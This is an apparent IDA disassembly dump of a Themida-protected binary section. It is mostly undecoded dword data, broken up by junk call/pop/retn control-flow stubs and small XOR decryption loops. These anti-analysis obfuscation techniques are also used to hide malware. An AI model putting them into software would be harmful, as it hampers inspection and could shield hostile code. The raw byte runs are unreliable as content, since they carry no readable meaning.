		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 3C0222C3h
		dd 85D46F95h, 1DBD0351h, 8B061516h, 18BF95B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0D8E53E9Dh, 0F19D8942h, 0F061509h, 680h, 0F99D8B00h
		dd 8B061511h, 150C4585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 3E65DF9Fh, 7DA442FDh
		dd 99BD8B6Eh, 8B061508h, 1503219Dh, 0F068906h, 858BD9B7h
		dd 615249Dh, 169D9529h,	46890615h, 10E804h, 9CE70000h
		dd 697A3667h, 22BF7A14h, 9D8E62EAh, 810FB44Ch, 6, 2072F381h
		dd 505F2C35h, 6E9h, 3DE43100h, 893E4135h, 6A2434h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0AC7286C3h, 43BBBB1Eh, 0FF6D1361h, 18BF91B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0C72390E8h, 66FA8B66h, 689846BBh, 0DD329E34h, 198E0Fh
		dd 14E90000h, 9B000000h, 14486627h, 1F1EE8CBh, 46C478A4h
		dd 26B9DFC3h, 8189A1D3h, 65CB2404h, 6A22ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0ED6799C3h
		dd 0BF99858Dh, 0E8500618h, 10h,	0DB3812D7h, 0E06846h, 0A0D5522h
		dd 413E61C9h, 2404895Fh, 53E38166h, 0AD95FF4Ah,	6A06150Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 4304C357h, 0FA729CA4h, 8D89605Ch,	615045Dh
		dd 816AC681h
		db 0E5h, 68h, 61h
; ---------------------------------------------------------------------------


loc_5C7B9B:				; CODE XREF: Themida_:005C7983j
		popa
		push	0
		push	ebp
		call	sub_5C7BA7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7BA7	proc near		; CODE XREF: Themida_:005C7B9Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C7BA7	endp

; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		xchg	esi, [edi+1585C70Eh]
		adc	large ds:306h, edx
		add	[edx+0], ch
		push	ebx
		call	sub_5C7BD0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7BD0	proc near		; CODE XREF: Themida_:005C7BC8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C7BD0	endp

; ---------------------------------------------------------------------------
		sub	esp, ebp
		xor	edi, [ebp+61517F1h]
		cmp	dword ptr [ebp+618BF99h], 0
		jz	loc_5C7C50
		push	0
		push	ebx
		call	sub_5C7C00
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7C00	proc near		; CODE XREF: Themida_:005C7BF8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5C7C00	endp

; ---------------------------------------------------------------------------
		dd 309E551Dh, 0E9189BE2h, 4Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0ABC35545h,	68E0Fh,	9D010000h
		dd 61516F1h, 1E91BD33h,	0BD890615h, 6153015h
; ---------------------------------------------------------------------------


loc_5C7C50:				; CODE XREF: Themida_:005C7BEFj
					; Themida_:005C7C67j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C7C50
		jmp	short loc_5C7CA1
; ---------------------------------------------------------------------------


loc_5C7C6B:				; CODE XREF: Themida_:005C7C82j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C7C6B
		jmp	short loc_5C7CA1
; ---------------------------------------------------------------------------


loc_5C7C86:				; CODE XREF: Themida_:005C7C9Dj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C7C86
		jmp	short $+2


loc_5C7CA1:				; CODE XREF: Themida_:005C7C69j
					; Themida_:005C7C84j
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5C7CAE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7CAE	proc near		; CODE XREF: Themida_:005C7CA6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C7CAE	endp

; ---------------------------------------------------------------------------
		xor	[esi+52006ACEh], al
		call	sub_5C7CCC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7CCC	proc near		; CODE XREF: Themida_:005C7CC4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C7CCC	endp

; ---------------------------------------------------------------------------
		dd 81A3C76Ch, 48B2EDE3h, 12E93Ch, 646A0000h, 0EEFEDE02h
		dd 1080D584h, 7813BD18h, 0BA6B39CDh, 1115BD83h,	0F030615h
		dd 48085h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 68524FFEh, 6476914Ch, 13E9504Eh
		dd 24000000h, 0D3ADAE3Eh, 0CF210316h, 57B86C0Dh, 0DEEF686Bh
		dd 8D093A81h, 6152309h,	0BF99BD83h, 0F000618h, 43084h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0BF66A1E4h, 0B5FF2CCEh, 618BF99h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 16C35545h, 57A75B36h
		dd 0F041AF20h, 10E195FFh, 6A0615h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 97BBC3C3h, 7CB0363Dh
		dd 0B58B918Ah, 618BF8Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 49C35545h, 106C7BDh, 8B000100h, 1522D9BDh
		dd 0D7B75006h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 6AE9C355h, 17482FA8h
		dd 66BEA893h, 8E3FF381h, 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 2A2E92C3h
		dd 5F2F7590h, 95096BA7h, 6152789h, 6A195FFh, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 749F17C3h, 0CE9h, 8BB8600h, 6B29C3B8h, 0D1E7368Ah, 8DB58BE0h
		dd 6A0618BFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0D71EC355h, 0DA8B66CFh, 10E8h
		dd 392BA500h, 0D0E6F129h, 0E2DB1458h, 716CF4E4h, 108A0F01h
		dd 0E8000000h, 0Ah, 8108BAAEh, 4514823Ch, 5B5B2588h, 59858Bh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 606EC9C3h, 28658D29h, 0BD8B0615h,	6150641h
		dd 0C4868961h, 29000000h, 152D01B5h, 21958B06h,	0F061527h
		dd 685h, 5858900h, 0F061517h, 80h, 4C28300h, 76E78166h
		dd 2050898Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	71C35343h, 86BB725h, 13E9h, 8C190300h, 7B462C1Bh
		dd 7A44F6A3h, 24341E4Fh, 0C08DFCCh, 0D458858Dh,	8B660618h
		dd 0B88689D9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 881EC355h, 96673CD4h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 28F816C3h, 2FEAE15Bh, 1A159D89h, 0B5FF0615h
		dd 618BF99h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	87C35343h, 0C878688Eh, 2EFB4599h, 1D4D95FFh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F82C55C3h, 99BD2B6Eh, 9606150Dh, 94805EBFh,	0FC8A504Eh
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0ED1DA093h, 0B5FF2298h, 618BF99h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 79C35747h, 29E0B5F8h
		dd 1511C5BDh, 2995FF06h, 6A061507h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 898BC352h
		dd 1533E18Dh, 65BD8306h, 61500h, 23840Fh, 0F98B0000h, 100D9D2Bh
		dd 50500615h, 66310F52h, 5A9C86BBh, 24348958h, 0BD895660h
		dd 615302Dh, 0DAB70F5Bh, 99B5FF61h, 6A0618BFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0CF00C353h, 19EC2AF2h, 4B96D67h, 229D8589h, 95FF0615h
		dd 6150439h, 0BF99B5FFh, 0BD8B0618h, 6150C09h, 0DCD95FFh
		dd 81660615h, 835555EFh, 15285DBDh, 840F0206h, 25h, 5E8h
		dd 0AA327D00h, 9D8B377Bh, 6150265h, 49858B5Fh, 8B061528h
		dd 1508A1BDh, 0C606h, 0C2C383BFh, 0F585C73Fh, 61523h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0B1D8C350h, 8937E61Eh, 15127D85h,	0F0B5E906h
		dd 9D89FFFFh, 615300Dh,	6AC18Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 63B1D7C3h, 0E763490Fh
		dd 0F3C78156h, 5F35ED8Ah, 279D858Dh, 81660615h,	1363EE3h
		dd 1509A19Dh, 0F509006h, 87h, 0BD899000h, 6152B3Dh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 3F0F2C3h, 739BDB9Bh,	8B44D163h, 0C59D8BDFh, 6A061503h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0E18D89B6h, 8D061506h, 19E99C85h, 0DE8B6606h
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 7982C351h, 107CF68Bh, 4CE78166h
		dd 52509057h, 12BF310Fh, 5A3B3DE0h, 0BB665058h,	6A90A72Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0D3B4C353h, 94328FCFh, 6ADE8B87h,	14DF8100h
		dd 6A4E687Eh, 0FFFE8B00h, 15267995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 32CC29EAh
		dd 0B6BFA923h, 8D5A47B4h, 189C158Dh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0BD884DF8h
		dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0A310B1C3h, 0E6733075h, 60B3A532h, 2DB5BD83h
		dd 0F010615h, 9E85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B251AB97h, 872F2DA4h
		dd 8CE745BBh, 6A026A53h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0F625C350h,	0E5BD8966h
		dd 89061518h, 1502CD8Dh, 0BF669006h, 0E9500B9Fh, 10h, 4C7475FFh
		dd 0FCB1867Dh, 7D5A5EE4h, 0FCC3DD34h, 99D0B90h,	0FF061525h
		dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0DD1AAF73h, 0E9F519D9h, 0D96h, 0E8h
		dd 0ED815D00h, 619E9A6h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F7C35545h, 244E307Ah, 0E3E4EF8Eh, 65BD8B86h
		dd 6A061526h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6E4CC351h, 858D8114h, 61888F9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8CC35343h
		dd 8B6650F9h, 240489DEh, 68C0Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		or	edi, 0BA26445h
		push	large dword ptr	fs:0
		push	0
		push	ebp
		call	sub_5C8474
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8474	proc near		; CODE XREF: Themida_:005C846Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C8474	endp

; ---------------------------------------------------------------------------
		dd 0B3BF9147h, 68F0FBCh, 81000000h, 0ADCA16E3h,	25896406h
		dd 0
		dd 8A0Fh, 85010000h, 61520CDh, 153585FFh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 645B2C3h, 0C0B6FC9Bh, 0FF6A0352h, 0BD8BF98Bh, 6152D01h
		dd 2339B5FFh, 0FFF90615h, 1508BD95h, 11BE906h, 85090000h
		dd 615263Dh, 0EBB300B0h, 21BF70E6h, 0E40609BBh,	0E870F71h
		dd 0E9000000h, 9, 0AB2F018Fh, 0AC598889h, 0F613C4Fh, 0EC83h
		dd 0D1952900h, 89061526h, 15212985h, 0C8B60F06h, 69DF8166h
		dd 6BA7Eh, 0DE90000h, 2D000000h, 0EFAFEE6Bh, 30EAA87Fh
		dd 29D1CDEh, 0BD29C18Bh, 61507E5h, 8904E8C1h, 15043D95h
		dd 0E2F76606h, 8D0Fh, 0C82B0000h, 8509D18Bh, 61511C9h
		dd 98E9h, 31BF6600h, 4858BFFh, 0F000000h, 0C8Ah, 6850F00h
		dd 89000000h, 15116595h, 7C08306h, 419BD03h, 9D8B0615h
		dd 6150CE9h, 8B00C083h,	1505999Dh, 0FD03B06h, 1783h, 95BB6600h
		dd 2D9D03BFh, 0E906152Ah, 4Dh, 0F19D8B53h, 5B061509h, 0FFFF8D8Bh
		dd 0FB8BFFFFh, 0F01E183h, 3484h, 19BD8B00h, 8306150Dh
		dd 0FFFFFFA5h, 0BF66FEFFh, 0E960CE5Ah, 8, 0D50490h, 1E7EECC1h
		dd 2D358D03h, 89610615h, 495h, 0F8B70F00h, 0E9h, 0D4B58D00h
		dd 0E9061961h, 7, 4EE7CD66h, 6A17CB31h,	0F98B6600h, 2E2195FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0D2B144C3h, 0B70F5658h, 0D0B95BFEh, 8900000Fh
		dd 1513419Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 5AC35747h, 0E59D89FCh, 0FC061518h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 72C35646h, 7A6E1AD6h
		dd 0B509A771h, 61519F1h, 0B8h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 98BF668Ch
		dd 0BA66h, 0D98A0000h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h
		dd 9AE40827h, 2860F33h,	8B000000h, 33E380D8h, 2155BD8Bh
		dd 880D0615h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F28C351h, 284h, 8BD88B00h
		dd 15272195h, 0CD8D8B06h, 0F061504h, 588h, 0E3805700h
		dd 8B505F77h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0F4B83CBFh, 57006A0Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A4B4B564h, 2375ACBFh
		dd 9D8BBFDAh, 6151611h,	18A9BD83h, 0F000615h, 4284h, 8284BF00h
		dd 0B87EC0h, 0BF000000h, 5289A917h, 4F9E8D8Dh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 68050CC3h, 55BBE9B9h, 0FF24E06Ch, 119D8BE1h,	83061518h
		dd 151115BDh, 840F0006h, 4D9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 91C35141h, 0F50985Bh, 689h
		dd 0F1D78100h, 91C8BFBh, 1512B595h, 15BD8306h, 1061511h
		dd 4B6840Fh, 0D88B0000h, 1115BD83h, 0F030615h, 47186h
		dd 0DE8B6600h, 6CD38160h, 660CF3E8h, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8A4060C3h
		dd 8BCF647Dh, 4E180F9h,	27999529h, 0C90A0615h, 163840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0F53C1C3h, 280h, 5B5F5600h, 249D858Bh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0C2FDBEC3h, 6B005FF2h, 8533DA33h, 61519B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8BC35343h, 0FB5EE79Dh
		dd 0AE990h, 0FF2F0000h,	448706B9h, 0CE52AC5h, 0EBB5050h
		dd 5F046E08h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 6A54F6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 1CC35343h, 9BB8F0C1h, 799BD8Bh
		dd 7A680615h, 60F2AF86h, 0BD0FBF66h, 11E957h, 0A9090000h
		dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 5E04378Fh, 24048161h
		dd 0D6F7D85h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	0ACC35242h, 958B6027h, 61512D1h, 8018D29h, 0FF610615h
		dd 150DAD95h, 2D858906h, 8906152Ah, 18BF9985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 28E90545h, 81000002h, 48AD3ECBh, 91858B25h, 6A0618BFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 90E8C353h, 0FF20C723h, 0CE8h, 34A81900h
		dd 92BFAA5Eh, 2291E05Fh, 5E85F7Ch, 66000000h, 81A85C73h
		dd 2E1DBD89h, 0C75F0615h, 1800h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 6F7C8344h
		dd 168D0Fh, 0AE80000h, 0E1000000h, 0F09D6ACCh, 0DC55EBA4h
		dd 0F59D8B14h, 5F061500h, 0BF95B58Bh, 66600618h, 3EBFEE81h
		dd 858B61F9h, 6150C45h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C8C35040h, 0FEC5A0ABh, 9D315D8Bh, 6151CD9h
		dd 2A1DBD23h, 6890615h,	369B589h, 858B0615h, 615249Dh
		dd 41858960h, 0E8061502h, 5, 248FD1DCh,	896158F9h, 6A0446h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 7475FFC3h, 0B1867D4Ch, 50D98AFCh, 52958DBFh,	2434893Eh
		dd 8A9BD8Bh, 0B5FF0615h, 618BF91h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A5C35141h,	92857797h, 0DB589FDh
		dd 8906151Ah, 15267195h, 0EAB66806h, 59B38CB4h,	49240481h
		dd 6A736A19h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0F26CC350h, 0D02500D9h, 8DDF8B66h
		dd 18BF9985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0A99D236Ch, 0E906152Ah, 0Ah, 19B88E57h
		dd 85671DBh, 6690984Dh,	508B15BFh, 5B525757h, 6A905B5Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F005C353h, 0F768633Ch, 2D95311Dh, 0FF06152Fh
		dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0BD07737Fh, 11B53178h, 61061516h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h
		dd 4199D8Bh, 85C70615h,	6151115h, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 11C35242h, 1ED07C36h, 0BF0F03F7h
		dd 835F56DBh, 18BF99BDh, 840F0006h, 4Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0E6C35747h, 0ADE1549Dh
		dd 0CADBD8Bh, 3AE90615h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3AD2C350h, 3050FF76h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1083F807h, 1AF36EC5h, 0FDB501D9h, 8A061528h,	4DBD0BFEh
		dd 6A061525h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0CEF7C355h, 3266BF66h,	21BD2B53h
		dd 5B061508h, 1115BD83h, 0F030615h, 3AA85h, 89BD8B00h
		dd 83061510h, 18BF99BDh, 840F0006h, 397h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 31C35141h, 981ECF2h
		dd 15243DBDh, 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F846C355h
		dd 8960F878h, 1509118Dh, 0D9BF0F06h, 0E195FF61h, 8B061510h
		dd 15143D9Dh, 8DB58B06h, 6A0618BFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9CFC353h
		dd 13h,	0EB620917h, 3A56A39Bh, 1A9EDFB2h, 0AB8FBE26h, 0C7CD7CA9h
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 264237DDh, 0BFF67816h, 21920FFBh
		dd 9689C380h, 0DE96050h, 0DC000000h, 0BA8E8909h, 0DEFAE468h
		dd 9D50BA26h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 239EC6C3h, 456781F5h, 0BF99B5FFh
		dd 0B5290618h, 6150321h, 6A195FFh, 0B58B0615h, 618BF8Dh
		dd 8BDF8B66h, 15005985h, 6CC38006h, 0C48689h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0EC294AC3h, 8B93E826h, 15272195h, 870F5706h,	6, 6F1B589h
		dd 835F0615h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0FBB2DEC3h, 8D296C2Dh, 61533D1h
		dd 11E9h, 801D6500h, 0C55A1688h, 688E87E0h, 4599C878h
		dd 50892EFBh, 8DDF8B20h, 18D45885h, 0BEB8106h, 8923E68Fh
		dd 0B886h, 6AD88B00h, 0FBBF6600h, 99B5FF05h, 0FF0618BFh
		dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0DA88F490h, 0FE9h, 0DB345300h, 0B36630C2h
		dd 77F96735h, 5D24B3A7h, 18D34DBFh, 6060501Dh, 5FCF8EB8h
		dd 0A9BE665Ah, 0E960619Eh, 9, 0E194C4D6h, 4EF7836Dh, 0CA8B6681h
		dd 34896161h, 0B69BF24h, 0B5FF0104h, 618BF99h, 272DBD8Bh
		dd 0BB660615h, 95FF32CAh, 6150729h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0F2C35141h,	660DAEDEh, 80D6FABBh
		dd 0BD8375EBh, 6150065h, 54840F00h, 0E8000000h,	10h, 6EB95786h
		dd 3326C5Fh, 74C2375Dh,	0A47139A3h, 72AAA8BBh, 870F5F1Ah
		dd 6, 7D4DF781h, 8950161Bh, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8F1724C3h
		dd 7662828Ah, 65BD8937h, 0FF061529h, 18BF99B5h,	0C3816606h
		dd 95FF90E0h, 6150439h,	2CD19531h, 0B5FF0615h, 618BF99h
		dd 154C7ABFh, 0CD95FF17h, 8906150Dh, 151CB185h,	5DBD8306h
		dd 2061528h, 5D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 227E28C3h, 0F1116333h
		dd 49858BFEh, 66061528h, 0BB66DF8Bh, 0C6CE1Ah, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8E98F02h, 0CE000000h, 11BA2114h, 0C70D148Ah,	1523F585h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 6E1DD302h, 0C4D450BBh, 81661862h
		dd 0E9DFA9F7h, 0FFFFF3BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0EAC35747h, 15B3C6B7h, 0B93E092Bh, 0D15FBFF7h
		dd 0C18B5E93h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	83C35040h, 119D2945h, 8006150Dh, 858D5ADBh, 615279Dh
		dd 2F8781BFh, 4895024h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 221C35C6h, 9DB58960h
		dd 8B061517h, 151889BDh, 6A6106h, 51B3B660h, 8E9h, 0A102B900h
		dd 0E81108AAh, 6A615BD4h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0B6DD39B7h
		dd 2E1F48A7h, 0BF0DBF66h, 0F970858Dh, 6A0619h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 7D04F8C3h, 2672300Eh, 832ECB80h, 6A05C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F8D4A4C3h
		dd 45C03F46h, 5D9D8B6Ch, 50061501h, 8CBF6650h, 4895B92h
		dd 0D1858924h, 6A061500h, 81BD8B00h, 66061522h,	6ADE8Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B5C35141h
		dd 0BC040921h, 2DBD8B66h, 0FF06152Dh, 15267995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DFF79AF0h, 0E270AD8Dh, 830FB35Bh, 9, 0BAF78A60h, 93907C5h
		dd 158D8D61h, 6A06189Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0DADFC357h,	619D89F3h
		dd 0BB061527h, 7E390C76h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 89633AC3h, 15021585h
		dd 4CBB5206h, 5F128478h, 18F59D8Bh, 0BD830615h,	6152DB5h
		dd 7C850F01h, 60000000h, 3820EA81h, 61F513B6h, 6A026Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 4D7658C3h, 0F5050F8h, 28Ah, 5FFB8B00h, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 54B5C351h, 0FFCBBF19h, 151D4D95h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E917C760h
		dd 0DC3h
; ---------------------------------------------------------------------------


loc_5C93A4:				; DATA XREF: Themida_:00579B00o
					; Themida_:0057B730o
		call	$+5
